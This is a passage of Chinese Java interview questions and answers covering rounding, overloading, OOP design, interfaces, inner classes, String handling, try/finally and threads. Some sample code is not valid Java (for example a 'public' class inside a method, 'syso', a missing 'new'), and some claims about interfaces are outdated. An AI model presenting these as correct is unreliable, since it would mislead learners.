\n\tMath类中提供了三个与取整有关的方法：ceil、floor、round，这些方法的作用与它们的英文名称的含义相对应，例如，ceil的英文意义是天花板，\n\t该方法就表示向上取整，所以，Math.ceil(11.3)的结果为12,Math.ceil(-11.3)的结果是-11；floor的英文意义是地板，该方法就表示向下取整，\n\t所以，Math.floor(11.6)的结果为11,Math.floor(-11.6)的结果是-12；最难掌握的是round方法，它表示“四舍五入”，算法为Math.floor(x+0.5)，\n\t即将原来的数字加上0.5后再向下取整，所以，Math.round(11.5)的结果为12，Math.round(-11.5)的结果为-11。\n15. 下面的代码有什么不妥之处?    \n    ```java\n\tif(username.equals(“zxx”){}\n\tint  x = 1;\n\t    return x==1?true:false;\n    ```\n\t这个我就不说了吧，你能看出来的。\n16. Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型?          \n\tOverload是重载的意思，Override是覆盖的意思，也就是重写。     \n\t重载Overload表示同一个类中可以有多个名称相同的方法，但这些方法的参数列表各不相同（即参数个数或类型不同）。\n\t重写Override表示子类中的方法可以与父类中的某个方法的名称和参数完全相同，通过子类创建的实例对象调用这个方法时，将调用子类中的定义方法，\n\t这相当于把父类中定义的那个完全相同的方法给覆盖了，这也是面向对象编程的多态性的一种表现。子类覆盖父类的方法时，只能比父类抛出更少的异常，\n\t或者是抛出父类抛出的异常的子异常，因为子类可以解决父类的一些问题，不能比父类有更多的问题。子类方法的访问权限只能比父类的更大，不能更小。\n\t如果父类的方法是private类型，那么，子类则不存在覆盖的限制，相当于子类中增加了一个全新的方法。\n\t至于Overloaded的方法是否可以改变返回值的类型这个问题，要看你倒底想问什么呢？这个题目很模糊。如果几个Overloaded的方法的参数列表不一样，\n\t它们的返回者类型当然也可以不一样。但我估计你想问的问题是：如果两个方法的参数列表完全一样，是否可以让它们的返回值不同来实现重载Overload。\n\t这是不行的，我们可以用反证法来说明这个问题，因为我们有时候调用一个方法时也可以不定义返回结果变量，即不要关心其返回结果，\n\t例如我们调用map.remove(key)方法时，虽然remove方法有返回值，但是我们通常都不会定义接收返回结果的变量，这时候假设该类中有两个名称和参数列表完全相同的方法，\n\t仅仅是返回类型不同，java就无法确定编程者倒底是想调用哪个方法了，因为它无法通过返回结果类型来判断。 \n17. 一个房子里有椅子，椅子有腿和背，房子与椅子是什么关系，椅子与腿和背是什么关系？                    \n\t如果房子有多个椅子，就是聚合关系，否则是一种关联关系，当然，聚合是一种特殊的关联。椅子与腿和背时组合关系。\n\t说说has a与is a的区别。        \n\t答：is-a表示的是属于得关系。比如兔子属于一种动物（继承关系）。has-a表示组合，包含关系。比如兔子包含有腿，头等组件；\n18. 分层设计的好处；             \n\t把各个功能按调用流程进行了模块化，模块化带来的好处就是可以随意组合，举例说明：如果要注册一个用户，\n\t流程为显示界面并通过界面接收用户的输入，接着进行业务逻辑处理，在处理业务逻辑又访问数据库，如果我们将这些步骤全部按流水帐的方式放在一个方法中编写，\n\t这也是可以的，但这其中的坏处就是，当界面要修改时，由于代码全在一个方法内，可能会碰坏业务逻辑和数据库访问的码，同样，当修改业务逻辑或数据库访问的代码时，\n\t也会碰坏其他部分的代码。分层就是要把界面部分、业务逻辑部分、数据库访问部分的代码放在各自独立的方法或类中编写，这样就不会出现牵一发而动全身的问题了。\n\t这样分层后，还可以方便切换各层，譬如原来的界面是Swing，现在要改成BS界面，如果最初是按分层设计的，这时候不需要涉及业务和数据访问的代码，\n\t只需编写一条web界面就可以了。\n   下面的仅供参考，不建议照搬照套，一定要改成自己的语言，发现内心的感受：             \n\t分层的好处：            \n\t- 实现了软件之间的解耦；\n\t- 便于进行分工\n\t- 便于维护\n\t- 提高软件组件的重用\n\t- 便于替换某种产品，比如持久层用的是hibernate,需要更换产品用toplink，就不用该其他业务代码，直接把配置一改。\n\t- 便于产品功能的扩展。\n\t- 便于适用用户需求的不断变化\n19. 序列化接口的id有什么用？                 \n   对象经常要通过IO进行传送，让你写程序传递对象，你会怎么做？把对象的状态数据用某种格式写入到硬盘，Person->“zxx,male,28,30000”?Person，\n   既然大家都要这么干，并且没有个统一的干法，于是，sun公司就提出一种统一的解决方案，它会把对象变成某个格式进行输入和输出，\n   这种格式对程序员来说是透明（transparent）的，但是，我们的某个类要想能被sun的这种方案处理，必须实现Serializable接口。      \n   ObjectOutputStream.writeObject(obj);\n   Object obj = ObjectInputStream.readObject();\n   假设两年前我保存了某个类的一个对象，这两年来，我修改该类，删除了某个属性和增加了另外一个属性，两年后，我又去读取那个保存的对象，或有什么结果？\n   未知！sun的jdk就会蒙了。为此，一个解决办法就是在类中增加版本后，每一次类的属性修改，都应该把版本号升级一下，这样，在读取时，\n   比较存储对象时的版本号与当前类的版本号，如果不一致，则直接报版本号不同的错!\n20. 面向对象的特征有哪些方面                 \n\t面向对象是相对于面向过程而言的，面向过程强调的是功能，面向对象强调的是将功能封装进对象强调具备功能的对象，\n\t- 思想特点好处：\n\t\t- 是符合人们思考习惯的一种思想；\n\t\t- 将复杂的事情简单化了；\n\t\t- 将程序员从执行者变成了指挥者；\n\t 注：比如我要达到某种结果我要是用某个功能，我就寻找能帮我达到该结果的功能的对象，如果该对象具备了该功能\n\t那么我拿到该对象，也就可以使用该对象的功能。如我要洗衣服我就买洗衣机，至于怎么洗我不管。\t\t \n\n\t面向对象的编程语言有封装、继承 、多态等3个主要的特征。          \n\t- 封装：隐藏对象的属性和实现细节，仅对外提供公共访问方式        \n\t\t封装是保证软件部件具有优良的模块性的基础，封装的目标就是要实现软件部件的“高内聚、低耦合”，防止程序相互依赖性而带来的变动影响。\n\t\t在面向对象的编程语言中，对象是封装的最基本单位，面向对象的封装比传统语言的封装更为清晰、更为有力。\n\t\t面向对象的封装就是把描述一个对象的属性和行为的代码封装在一个“模块”中，也就是一个类中，属性用变量定义，行为用方法进行定义，\n\t\t方法可以直接访问同一个对象中的属性。通常情况下，只要记住让变量和访问这个变量的方法放在一起，将一个类中的成员变量全部定义成私有的，\n\t\t只有这个类自己的方法才可以访问到这些成员变量，这就基本上实现对象的封装，就很容易找出要分配到这个类上的方法了，\n\t\t就基本上算是会面向对象的编程了。把握一个原则：把对同一事物进行操作的方法和相关的方法放在同一个类中，把方法和它操作的数据放在同一个类中。\n\t\t例如，人要在黑板上画圆，这一共涉及三个对象：人、黑板、圆，画圆的方法要分配给哪个对象呢？由于画圆需要使用到圆心和半径，圆心和半径显然是圆的属性，\n\t\t如果将它们在类中定义成了私有的成员变量，那么，画圆的方法必须分配给圆，它才能访问到圆心和半径这两个属性，人以后只是调用圆的画圆方法、\n\t\t表示给圆发给消息而已，画圆这个方法不应该分配在人这个对象上，这就是面向对象的封装性，即将对象封装成一个高度自治和相对封闭的个体，\n\t\t对象状态（属性）由这个对象自己的行为（方法）来读取和改变。一个更便于理解的例子就是，司机将火车刹住了，刹车的动作是分配给司机，\n\t\t还是分配给火车，显然，应该分配给火车，因为司机自身是不可能有那么大的力气将一个火车给停下来的，只有火车自己才能完成这一动作，\n\t\t火车需要调用内部的离合器和刹车片等多个器件协作才能完成刹车这个动作，司机刹车的过程只是给火车发了一个消息，通知火车要执行刹车动作而已。\n\n\t- 继承: 多个类中存在相同属性和行为时，将这些内容抽取到单独一个类中，那么多个类无需再定义这些属性和行为，只要继承那个类即可。   \n\t\t在定义和实现一个类的时候，可以在一个已经存在的类的基础之上来进行，把这个已经存在的类所定义的内容作为自己的内容，并可以加入若干新的内容，\n\t\t或修改原来的方法使之更适合特殊的需要，这就是继承。继承是子类自动共享父类数据和方法的机制，这是类之间的一种关系，提高了软件的可重用性和可扩展性。\n\n\t- 多态: 一个对象在程序不同运行时刻代表的多种状态，父类或者接口的引用指向子类对象\n\t\t多态是指程序中定义的引用变量所指向的具体类型和通过该引用变量发出的方法调用在编程时并不确定，而是在程序运行期间才确定，\n\t\t即一个引用变量倒底会指向哪个类的实例对象，该引用变量发出的方法调用到底是哪个类中实现的方法，必须在由程序运行期间才能决定。\n\t\t因为在程序运行时才确定具体的类，这样，不用修改源程序代码，就可以让引用变量绑定到各种不同的类实现上，从而导致该引用调用的具体方法随之改变，\n\t\t即不修改程序代码就可以改变程序运行时所绑定的具体代码，让程序可以选择多个运行状态，这就是多态性。多态性增强了软件的灵活性和扩展性。\n\t\t例如，下面代码中的UserDao是一个接口，它定义引用变量userDao指向的实例对象由daofactory.getDao()在执行的时候返回，有时候指向的是UserJdbcDao这个实现，\n\t\t有时候指向的是UserHibernateDao这个实现，这样，不用修改源代码，就可以改变userDao指向的具体类实现，\n\t\t从而导致userDao.insertUser()方法调用的具体代码也随之改变，即有时候调用的是UserJdbcDao的insertUser方法，\n\t\t有时候调用的是UserHibernateDao的insertUser方法：\n\t\t```java\n\t\tUserDao userDao = daofactory.getDao();  \n\t\tuserDao.insertUser(user);\n\t\t```\n\t\t比喻：人吃饭，你看到的是左手，还是右手？\n\t\t\n\t面向对象设计的重要经验：      \n\t**谁拥有数据，谁就对外提供操作这些数据的方法。**\n\t如：\n\t- 人在黑板上画圆：              \n\t\t画圆需要知道圆心的位置和圆的半径，而圆心的位置和圆的半径只有圆自己最清楚，所以画圆的方法是圆的方法。            \n\t\t\n\t- 列车司机紧急刹车：          \n\t\t刹车的方法是司机的还是车的呢？同样，具体刹车的动作、怎么刹车只有车是清楚的，人只是发个刹车的信号给车，所以刹车的方法是车的\n\t\t\n\t面向对象的面试题：           \n\t- 两块石头磨成一把石刀，石刀可以将树看成木材，木材可以做出椅子：              \n\t\t石头磨成石刀是哪个对象的方法呢？如果是石头内部的方法的话，那么石头磨成石刀，石头自己都没了，所以石头磨成石刀不是石头内部的方法，\n\t\t故石头变成石刀应该是一个石头加工厂的方法，将石头磨成石刀。石刀将树看成木材，所以石刀应该有一个将树看成木材的方法\n\t\t木材可以做成椅子，所以应该有一个木材加工厂，该加工厂有一个接收木材然后加工成椅子的方法。\n\t- 球从一根绳子的一端移动到另一端：\n\t\t球这个对象应该有移动到下一个点的方法\n\t\t绳子这个对象应该有提供下个点是哪个点的方法，以通知小球移动的方向\t\t\n\t\t\t\n21. java中实现多态的机制是什么？            \n\t靠的是父类或接口定义的引用变量可以指向子类或具体实现类的实例对象，而程序调用的方法在运行期才动态绑定，就是引用变量所指向的具体实例对象的方法，\n\t也就是内存里正在运行的那个对象的方法，而不是引用变量的类型中定义的方法。 \n22. abstract class和interface有什么区别? \t          \n\t含有abstract修饰符的class即为抽象类，abstract类不能创建的实例对象。含有abstract方法的类必须定义为abstract class，abstract class类中的方法不必是抽象的。\n\tabstract class类中定义抽象方法必须在具体(Concrete)子类中实现，所以，不能有抽象构造方法或抽象静态方法。如果的子类没有实现抽象父类中的所有抽象方法，\n\t那么子类也必须定义为abstract类型。接口（interface）可以说成是抽象类的一种特例，接口中的所有方法都必须是抽象的。\n\t接口中的方法定义默认为public abstract类型，接口中的成员变量类型默认为public static final。\n\t下面比较一下两者的语法区别：        \n\t- 抽象类可以有构造方法，接口中不能有构造方法。\n\t- 抽象类中可以有普通成员变量，接口中没有普通成员变量\n\t- 抽象类中可以包含非抽象的普通方法，接口中的所有方法必须都是抽象的，不能有非抽象的普通方法。\n\t- 抽象类中的抽象方法的访问类型可以是public，protected和（默认类型,虽然eclipse下不报错，但应该也不行）,但接口中的抽象方法只能是public类型的，\n\t\t并且默认即为public abstract类型。\n\t- 抽象类中可以包含静态方法，接口中不能包含静态方法\n\t- 抽象类和接口中都可以包含静态成员变量，抽象类中的静态成员变量的访问类型可以任意，但接口中定义的变量只能是public static final类型，并且默认即为public static final类型。\n\t- 一个类可以实现多个接口，但只能继承一个抽象类。\t\n23. abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized?           \n\tabstract的method 不可以是static的，因为抽象的方法是要被子类实现的，而static与子类扯不上关系！\n\tnative方法表示该方法要用另外一种依赖平台的编程语言实现的，不存在着被子类实现的问题，所以，它也不能是抽象的，不能与abstract混用。\n\t例如，FileOutputSteam类要硬件打交道，底层的实现用的是操作系统相关的api实现，例如，在windows用c语言实现的，所以，查看jdk 的源代码，\n\t可以发现FileOutputStream的open方法的定义如下：         \n\t`private native void open(String name) throws FileNotFoundException;`\n\t如果我们要用java调用别人写的c语言函数，我们是无法直接调用的，我们需要按照java的要求写一个c语言的函数，又我们的这个c语言函数去调用别人的c语言函数。\n\t由于我们的c语言函数是按java的要求来写的，我们这个c语言函数就可以与java对接上，java那边的对接方式就是定义出与我们这个c函数相对应的方法，\n\tjava中对应的方法不需要写具体的代码，但需要在前面声明native。关于synchronized与abstract合用的问题，我觉得也不行，因为在我几年的学习和开发中，\n\t从来没见到过这种情况，并且我觉得synchronized应该是作用在一个具体的方法上才有意义。而且，方法上的synchronized同步所使用的同步锁对象是this，\n\t而抽象方法上无法确定this是什么。 \n24. 什么是内部类？Static Nested Class 和 Inner Class的不同。      \n\t内部类就是在一个类的内部定义的类，内部类中不能定义静态成员（静态成员不是对象的特性，只是为了找一个容身之处，所以需要放到一个类中而已，这么一点小事，\n\t你还要把它放到类内部的一个类中，过分了啊！提供内部类，不是为让你干这种事情，无聊，不让你干。我想可能是既然静态成员类似c语言的全局变量，\n\t而内部类通常是用于创建内部对象用的，所以，把“全局变量”放在内部类中就是毫无意义的事情，既然是毫无意义的事情，就应该被禁止），\n\t部类可以直接访问外部类中的成员变量，内部类可以定义在外部类的方法外面，也可以定义在外部类的方法体中，如下所示：\n\t```java\n\tpublic class Outer {\n\t\tint out_x  = 0;\n\t\tpublic void method()\n\t\t{\n\t\t\tInner1 inner1 = new Inner1();\n\t\t\tpublic class Inner2   //在方法体内部定义的内部类\n\t\t\t{\n\t\t\t\tpublic method()\n\t\t\t\t{\n\t\t\t\t\tout_x = 3;\n\t\t\t\t}\n\t\t\t}\n\t\t\tInner2 inner2 = new Inner2();\n\t\t}\n\t\tpublic class Inner1   //在方法体外面定义的内部类\n\t\t{\n\t\t}\t\t\t\n\t}\n\t```\n\t在方法体外面定义的内部类的访问类型可以是public,protecte,默认的，private等4种类型，这就好像类中定义的成员变量有4种访问类型一样，\n\t它们决定这个内部类的定义对其他类是否可见；对于这种情况，我们也可以在外面创建内部类的实例对象，创建内部类的实例对象时，\n\t一定要先创建外部类的实例对象，然后用这个外部类的实例对象去创建内部类的实例对象，代码如下：\n\t```java\n\tOuter outer = new Outer();\n\tOuter.Inner1 inner1 = outer.new Innner1();\n\t```\n\t在方法内部定义的内部类前面不能有访问类型修饰符，就好像方法中定义的局部变量一样，但这种内部类的前面可以使用final或abstract修饰符。\n\t这种内部类对其他类是不可见的其他类无法引用这种内部类，但是这种内部类创建的实例对象可以传递给其他类访问。这种内部类必须是先定义，\n\t后使用，即内部类的定义代码必须出现在使用该类之前，这与方法中的局部变量必须先定义后使用的道理也是一样的。这种内部类可以访问方法体中的局部变量，\n\t但是，该局部变量前必须加final修饰符。\t\n25. 内部类可以引用它的包含类的成员吗？有没有什么限制？             \n\t完全可以。如果不是静态内部类，那没有什么限制！ \n\t如果你把静态嵌套类当作内部类的一种特例，那在这种情况下不可以访问外部类的普通成员变量，而只能访问外部类中的静态成员，例如，下面的代码：\n    ```java\n\tclass Outer {\n\t\tstatic int x;\n\t\tstatic class Inner\n\t\t{\n\t\t\tvoid test()\n\t\t\t{\n\t\t\t\tsyso(x);\n\t\t\t}\n\t\t}\n\t}\n    ```\n\t答题时，也要能察言观色，揣摩提问者的心思，显然人家希望你说的是静态内部类不能访问外部类的成员，但你一上来就顶牛，这不好，要先顺着人家，\n\t让人家满意，然后再说特殊情况，让人家吃惊。\n26. Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)?                  \n\t可以继承其他类或实现其他接口。不仅是可以，而是必须!\n27. super.getClass()方法调用                  \n\t下面程序的输出结果是多少？\n\t```java\n\timport java.util.Date;\n\tpublic  class Test extends Date{\n\t\tpublic static void main(String[] args) {\n\t\t\tnew Test().test();\n\t\t}\n\t\tpublic void test(){\n\t\t\tSystem.out.println(super.getClass().getName());\n\t\t}\n\t}\n\t```\n\t很奇怪，结果是Test           \n\t这属于脑筋急转弯的题目，在一个qq群有个网友正好问过这个问题，我觉得挺有趣，就研究了一下，没想到今天还被你面到了，哈哈。         \n\t在test方法中，直接调用getClass().getName()方法，返回的是Test类名        \n\t由于getClass()在Object类中定义成了final，子类不能覆盖该方法，所以，在       \n\ttest方法中调用getClass().getName()方法，其实就是在调用从父类继承的getClass()方法，等效于调用super.getClass().getName()方法，\n\t所以，super.getClass().getName()方法返回的也应该是Test。如果想得到父类的名称，应该用如下代码：       \n\t`getClass().getSuperClass().getName();`\n\n28. jdk中哪些类是不能继承的？              \n\t不能继承的是类是那些用final关键字修饰的类。一般比较基本的类型或防止扩展类无意间破坏原来方法的实现的类型都应该是final的，\n\t在jdk中System,String,StringBuffer等都是基本类型。\n29. String是最基本的数据类型吗?                \n\t基本数据类型包括byte、int、char、long、float、double、boolean和short。 \n\tjava.lang.String类是final类型的，因此不可以继承这个类、不能修改这个类。为了提高效率节省空间，我们应该用StringBuffer类 \n\n30. String s = \"Hello\";s = s + \" world!\";这两行代码执行后，原始的String对象中的内容到底变了没有？                    \n\t没有。因为String被设计成不可变(immutable)类，所以它的所有对象都是不可变对象。在这段代码中，s原先指向一个String对象，内容是 \"Hello\"，\n\t然后我们对s进行了+操作，那么s所指向的那个对象是否发生了改变呢？答案是没有。这时，s不指向原来那个对象了，而指向了另一个 String对象，\n\t内容为\"Hello world!\"，原来那个对象还存在于内存之中，只是s这个引用变量不再指向它了。\n\t通过上面的说明，我们很容易导出另一个结论，如果经常对字符串进行各种各样的修改，或者说，不可预见的修改，那么使用String来代表字符串的话会引起很大的内存开销。\n\t因为 String对象建立之后不能再改变，所以对于每一个不同的字符串，都需要一个String对象来表示。这时，应该考虑使用StringBuffer类，它允许修改，\n\t而不是每个不同的字符串都要生成一个新的对象。并且，这两种类的对象转换十分容易。\n\t同时，我们还可以知道，如果要使用内容相同的字符串，不必每次都new一个String。例如我们要在构造器中对一个名叫s的String引用变量进行初始化，\n\t把它设置为初始值，应当这样做：\n\t```java\n\tpublic class Demo {\n\t\tprivate String s;\n\t\t...\n\t\tpublic Demo {\n\t\ts = \"Initial Value\";\n\t\t}\n\t\t...\n\t}\n\t```\n\t而非\n\t`s = new String(\"Initial Value\");`\n\t后者每次都会调用构造器，生成新对象，性能低下且内存开销大，并且没有意义，因为String对象不可改变，所以对于内容相同的字符串，只要一个String对象来表示就可以了。\n\t也就说，多次调用上面的构造器创建多个对象，他们的String类型属性s都指向同一个对象。\n\t上面的结论还基于这样一个事实：对于字符串常量，如果内容相同，Java认为它们代表同一个String对象。而用关键字new调用构造器，总是会创建一个新的对象，\n\t无论内容是否相同。至于为什么要把String类设计成不可变类，是它的用途决定的。其实不只String，很多Java标准类库中的类都是不可变的。\n\t在开发一个系统的时候，我们有时候也需要设计不可变类，来传递一组相关的值，这也是面向对象思想的体现。不可变类有一些优点，比如因为它的对象是只读的，\n\t所以多线程并发访问也不会有任何问题。当然也有一些缺点，比如每个不同的状态都要一个对象来代表，可能会造成性能上的问题。所以Java标准类库还提供了一个可变版本，\n\t即 StringBuffer。\n \n31. String s = new String(\"xyz\");创建了几个String Object? 二者之间有什么区别？         \n\t两个或一个，”xyz”对应一个对象，这个对象放在字符串常量缓冲区，常量”xyz”不管出现多少遍，都是缓冲区中的那一个。\n\tNew String每写一遍，就创建一个新的对象，它一句那个常量”xyz”对象的内容来创建出一个新String对象。如果以前就用过’xyz’，\n\t这句代表就不会创建”xyz”自己了，直接从缓冲区拿。\n32. String 和StringBuffer的区别               \n\tJAVA平台提供了两个类：String和StringBuffer，它们可以储存和操作字符串，即包含多个字符的字符数据。String类表示内容不可改变的字符串。\n\t而StringBuffer类表示内容可以被修改的字符串。当你知道字符数据要改变的时候你就可以使用StringBuffer。典型地，你可以使用StringBuffers来动态构造字符数据。\n\t另外，String实现了equals方法，new String(“abc”).equals(new String(“abc”)的结果为true,而StringBuffer没有实现equals方法，\n\t所以，new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的结果为false。 \n\t接着要举一个具体的例子来说明，我们要把1到100的所有数字拼起来，组成一个串。\n\t```java\n\tStringBuffer sbf = new StringBuffer();  \n\tfor(int i=0;i<100;i++) {\n\t\tsbf.append(i);\n\t}\n\t```\n\t上面的代码效率很高，因为只创建了一个StringBuffer对象，而下面的代码效率很低，因为创建了101个对象。\n\t```java\n\tString str = new String();  \n\tfor(int i=0;i<100;i++) {\n\t\tstr = str + i;\n\t}\n\t```\n\t在讲两者区别时，应把循环的次数搞成10000，然后用endTime-beginTime来比较两者执行的时间差异，最后还要讲讲StringBuilder与StringBuffer的区别。\n\tString覆盖了equals方法和hashCode方法，而StringBuffer没有覆盖equals方法和hashCode方法，所以，将StringBuffer对象存储进Java集合类中时会出现问题。\n\n33. StringBuffer与StringBuilder的区别                 \n\tStringBuffer和StringBuilder类都表示内容可以被修改的字符串，StringBuilder是线程不安全的，运行效率高，如果一个字符串变量是在方法里面定义，\n\t这种情况只可能有一个线程访问它，不存在不安全的因素了，则用StringBuilder。如果要在类里面定义成员变量，并且这个类的实例对象会在多线程环境下使用，\n\t那么最好用StringBuffer。\n\n34. 如何把一段逗号分割的字符串转换成一个数组?                   \n\t如果不查jdk api，我很难写出来！我可以说说我的思路：\n\t- 用正则表达式，代码大概为：String [] result = orgStr.split(“,”);\n\t- 用 StingTokenizer ,代码为：\n\t\t```java\n\t\tStringTokenizer  tokener = StringTokenizer(orgStr,”,”);\n\t\tString [] result = new String[tokener .countTokens()];\n\t\tInt i=0;\n\t\twhile(tokener.hasNext(){\n\t\t\tresult[i++]=toker.nextToken();\n\t\t}\n\t\t```\n35. 数组有没有length()这个方法? String有没有length()这个方法？                \n\t数组没有length()这个方法，有length的属性。String有length()这个方法。\n\t\n36. 下面这条语句一共创建了多少个对象：String s=\"a\"+\"b\"+\"c\"+\"d\";                   \n\t答：对于如下代码：\n\tString s1 = \"a\";\n\tString s2 = s1 + \"b\";\n\tString s3 = \"a\" + \"b\";\n\tSystem.out.println(s2 == \"ab\");\n\tSystem.out.println(s3 == \"ab\");\n\t第一条语句打印的结果为false，第二条语句打印的结果为true，这说明javac编译可以对字符串常量直接相加的表达式进行优化，\n\t不必要等到运行期去进行加法运算处理，而是在编译时去掉其中的加号，直接将其编译成一个这些常量相连的结果。\n\t题目中的第一行代码被编译器在编译时优化后，相当于直接定义了一个”abcd”的字符串，所以，上面的代码应该只创建了一个String对象。写如下两行代码，\n\t```java\n\tString s = \"a\" + \"b\" + \"c\" + \"d\";\n\tSystem.out.println(s == \"abcd\");\n\t```\n\t最终打印的结果应该为true。 \n\n37. try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后?                   \n\t也许你的答案是在return之前，但往更细地说，我的答案是在return中间执行，请看下面程序代码的运行结果： \n\t```java\n\tpublic  class Test {\n\t\t/**\n\t\t * @param args add by zxx ,Dec 9, 2008\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tSystem.out.println(new Test().test());;\n\t\t}\n\t\tstatic int test() {\n\t\t\tint x = 1;\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn x;\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\t++x;\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t---------执行结果 ---------\n\t1\n\n\t运行结果是1，为什么呢？主函数调用子函数并得到结果的过程，好比主函数准备一个空罐子，当子函数要返回结果时，先把结果放在罐子里，\n\t然后再将程序逻辑返回到主函数。所谓返回，就是子函数说，我不运行了，你主函数继续运行吧，这没什么结果可言，结果是在说这话之前放进罐子里的。\n38. 下面的程序代码输出的结果是多少？             \n\t```java\n\tpublic class  smallT {\n\t\tpublic static void  main(String args[]) {\n\t\t\tsmallT t  = new  smallT();\n\t\t\tint  b  =  t.get();\n\t\t\tSystem.out.println(b);\n\t\t}\n\t\tpublic int  get() {\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn 1 ;\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\treturn 2 ;\n\t\t\t}\n\t\t}\n\t}\n\t返回的结果是2。\n\t我可以通过下面一个例子程序来帮助我解释这个答案，从下面例子的运行结果中可以发现，try中的return语句调用的函数先于finally中调用的函数执行，\n\t也就是说return语句先执行，finally语句后执行，所以，返回的结果是2。Return并不是让函数马上返回，而是return语句执行后，将把返回结果放置进函数栈中，\n\t此时函数并不是马上返回，它要执行finally语句后才真正开始返回。\n\t在讲解答案时可以用下面的程序来帮助分析：   \n\t```java\n\tpublic  class Test {\n\t\t/**\n\t\t * @param args add by zxx ,Dec 9, 2008\n\t\t */\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tSystem.out.println(new Test().test());;\n\t\t}\n\t\tint test() {\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn func1();\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\treturn func2();\n\t\t\t}\n\t\t}\n\t\tint func1() {\n\t\t\tSystem.out.println(\"func1\");\n\t\t\treturn 1;\n\t\t}\n\t\tint func2() {\n\t\t\tSystem.out.println(\"func2\");\n\t\t\treturn 2;\n\t\t}\t\n\t}\n\t-----------执行结果-----------------\n\tfunc1\n\tfunc2\n\t2\n\t```\n\t结论：finally中的代码比return 和break语句后执行\n39. final, finally, finalize的区别。          \n\tfinal 用于声明属性，方法和类，分别表示属性不可变，方法不可覆盖，类不可继承。 \n\t内部类要访问局部变量，局部变量必须定义成final类型.       \n\tfinally是异常处理语句结构的一部分，表示总是执行。       \n\tfinalize是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等。\n\tJVM不保证此方法总被调用\n\n40. 运行时异常与一般异常有何异同？             \n\t异常表示程序运行过程中可能出现的非正常状态，运行时异常表示虚拟机的通常操作中可能遇到的异常，是一种常见运行错误。\n\tjava编译器要求方法必须声明抛出可能发生的非运行时异常，但是并不要求必须声明抛出未被捕获的运行时异常。   \n41. error和exception有什么区别?              \n\terror 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。 \n\texception 表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。 \n\n42. java中有几种方法可以实现一个线程？用什么关键字修饰同步方法? stop()和suspend()方法为何不推荐使用？           \n\tjava5以前，有如下两种：     \n\t第一种：      \n\t```java\n\tnew Thread(){}.start();这表示调用Thread子类对象的run方法，new Thread(){}表示一个Thread的匿名子类的实例对象，子类加上run方法后的代码如下：\n\tnew Thread(){\n\t\tpublic void run(){\n\t\t}\n\t}.start();\n\t```\n\t第二种：         \n\t```java\n\tnew Thread(new Runnable(){}).start();这表示调用Thread对象接受的Runnable对象的run方法，new Runnable(){}表示一个Runnable的匿名子类的实例对象,runnable的子类加上run方法后的代码如下：\n\tnew Thread(new Runnable(){\n\t\t\tpublic void run(){\n\t\t\t}\t\n\t\t}\n\t).start();\n\t```\n\t从java5开始，还有如下一些线程池创建多线程的方式：    \n\t```java\n\tExecutorService pool = Executors.newFixedThreadPool(3)\n\tfor(int i=0;i<10;i++) {\n\t\tpool.execute(new Runable(){public void run(){}});\n\t}\n\tExecutors.newCachedThreadPool().execute(new Runable(){public void run(){}});\n\tExecutors.newSingleThreadExecutor().execute(new Runable(){public void run(){}});\n\t```\n\n\t两种实现方法，分别是继承Thread类与实现Runnable接口 \n\t用synchronized关键字修饰同步方法 \n\t反对使用stop()，是因为它不安全。它会解除由线程获取的所有锁定，而且如果对象处于一种不连贯状态，那么其他线程能在那种状态下检查和修改它们。\n\t结果很难检查出真正的问题所在。suspend()方法容易发生死锁。调用suspend()的时候，目标线程会停下来，但却仍然持有在这之前获得的锁定。\n\t此时，其他任何线程都不能访问锁定的资源，除非被\"挂起\"的线程恢复运行。对任何线程来说，如果它们想恢复目标线程，同时又试图使用任何一个锁定的资源，\n\t就会造成死锁。所以不应该使用suspend()，而应在自己的Thread类中置入一个标志，指出线程应该活动还是挂起。若标志指出线程应该挂起，便用wait()命其进入等待状态。\n\t若标志指出线程应当恢复，则用一个notify()重新启动线程。 \n\n43. 启动一个线程是用run()还是start()?             \n\t启动一个线程是调用start()方法，使线程就绪状态，以后可以被调度为运行状态，一个线程必须关联一些具体的执行代码，run()方法是该线程所关联的执行代码。 \n\n44. 简述synchronized和java.util.concurrent.locks.Lock的异同 ？              \n\t主要相同点：Lock能完成synchronized所实现的所有功能                   \n\t主要不同点：Lock有比synchronized更精确的线程语义和更好的性能。synchronized会自动释放锁，而Lock一定要求程序员手工释放，\n\t并且必须在finally从句中释放。Lock还有更强大的功能，例如，它的tryLock方法可以非阻塞方式去拿锁。 \n\t\n45. 设计4个线程，其中两个线程每次对j增加1，另外两个线程对j每次减少1。写出程序。             \n\t以下程序使用内部类实现线程，对j增减的时候没有考虑顺序问题。 \n\t```java\n\tpublic class ThreadTest1 \n\t{ \n\tprivate int j; \n\tpublic static void main(String args[]){ \n\t   ThreadTest1 tt=new ThreadTest1(); \n\t   Inc inc=tt.new Inc(); \n\t   Dec dec=tt.new Dec(); \n\t   for(int i=0;i<2;i++){ \n\t\t   Thread t=new Thread(inc); \n\t\t   t.start(); \n\t\t\t   t=new Thread(dec); \n\t\t   t.start(); \n\t\t   } \n\t   } \n\tprivate synchronized void inc(){ \n\t   j++; \n\t   System.out.println(Thread.currentThread().getName()+\"-inc:\"+j); \n\t   } \n\tprivate synchronized void dec(){ \n\t   j--; \n\t   System.out.println(Thread.currentThread().getName()+\"-dec:\"+j); \n\t   } \n\tclass Inc implements Runnable{ \n\t   public void run(){ \n\t\t   for(int i=0;i<100;i++){ \n\t\t   